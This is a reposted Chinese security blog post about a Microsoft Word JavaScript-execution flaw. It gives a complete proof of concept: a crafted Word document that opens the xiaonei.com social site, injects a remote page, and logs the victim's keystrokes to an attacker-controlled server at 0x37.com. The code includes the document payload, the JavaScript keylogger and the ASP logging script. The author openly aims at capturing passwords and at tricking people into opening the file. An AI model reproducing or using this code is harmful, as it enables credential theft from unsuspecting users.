对MS word javascript execution的一些测试 's

admin 2017年5月7日19:00:37评论451 views字数 2628阅读8分45秒阅读模式
摘要

作者:余弦
来源:0×37 SecurityMicrosoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群内讨论过。可以得出一些结论:

作者:余弦
来源:0×37 Security

Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群内讨论过。可以得出一些结论:

1、由于安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能,使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code:

<html> <OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;')"></OBJECT>

这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。

2、漏 洞其实出现在xml文件上,类似于上面这样构造后的html用word打开后另存为xml时,里面的数据都被相应转换为xml格式。然而xml里 的<w:ocx w:data=”……” />却可以引发JS的执行。问题就出现在这。而无论后缀是.doc或.rtf或.xml都将以word默认方式打开,此时word充当一个解释 器,<w:ocx w:data=”……” />内的数据被解释执行而引发JS。

3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因与修补这个漏洞这些信息还是有价值的。

既然这个JS能力有限,那就来点好玩的,如这里提到过的:http://www.0x37.com/post/15.html。下面这个POC是这样进行的:当用户打开我们恶意构造后的word文档doc.doc后,会弹出校内网的首页http://www.xiaonei.com(拿它做实验,完全是出于我的惯性……)。接着我们就可以记录用户在这个页面上的键盘记录了:)。也许密码就直接抓过来了(假如其他用户和我一样,打开校内网就直接快速输入密码然后Enter,这个完全是习惯……)。

doc.html代码如下:

<html> <OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20'http://www.0x37.com/Project/poc/docshell.html';}}}catch(e){}},3000);void(1);"></OBJECT> HI

按照http://marc.info/?l=bugtraq&m=121121432823704&w=2这里的方法生成doc.doc文档(这就是那个邪恶的文档,改个好名字,方便骗人打开)。

远程的docshell.html代码如下:

<html> <body bgcolor="#333333"> <div id="o"></div> <input type=text id="x" style="width:0;height:0"> <script> var _x=false; if(window.XMLHttpRequest){ _x=new XMLHttpRequest(); }else if(window.ActiveXObject){ _x=new ActiveXObject("Msxml2.XMLHTTP"); if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");} } document.onkeydown=function(e){ if(!e)e=window.event; try{ tmp=(String.fromCharCode(e.which||e.keyCode)); _3or7("GET","http://www.0x37.com/Project/poc/docshell.asp?tmp="+tmp,null); }catch(ex){} } function _3or7(_m,_s,_a){ _x.open(_m,_s,false); _x.send(_a); return _x.responseText; } setInterval(function(){try{document.getElementById('x').focus();}catch(e){}},100); focus(); </script> </body> </html>

而远程的docshell.asp代码如下:

<% ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") If ip="" Then ip=Request.ServerVariables("REMOTE_ADDR") End If tmp=Request.QueryString("tmp") 'Response.write(tmp) filename="docshell.txt" Set fso=Server.CreateObject("Scripting.FileSystemObject") set file=fso.OpenTextFile(server.mappath(filename),8,true) file.write(ip+">> "+tmp+chr(13)) file.close set file=nothing set fso=nothing %>

接着就可以在这http://www.0x37.com/Project/poc/docshell.txt看到我们键盘记录的结果:)。完整文件在这:http://www.0x37.com/Project/poc/wordjs.rar。不过这个键盘记录还是有缺陷的,本想结合这里http://www.0x37.com/post/15.html提到的方法来构造更邪恶的代码,可是并不顺利……那以后再说了:)。现在就等老胡大牛关于这个漏洞的进一步消息。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月7日19:00:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对MS word javascript execution的一些测试 'shttps://cn-sec.com/archives/47827.html

发表评论

匿名网友 填写信息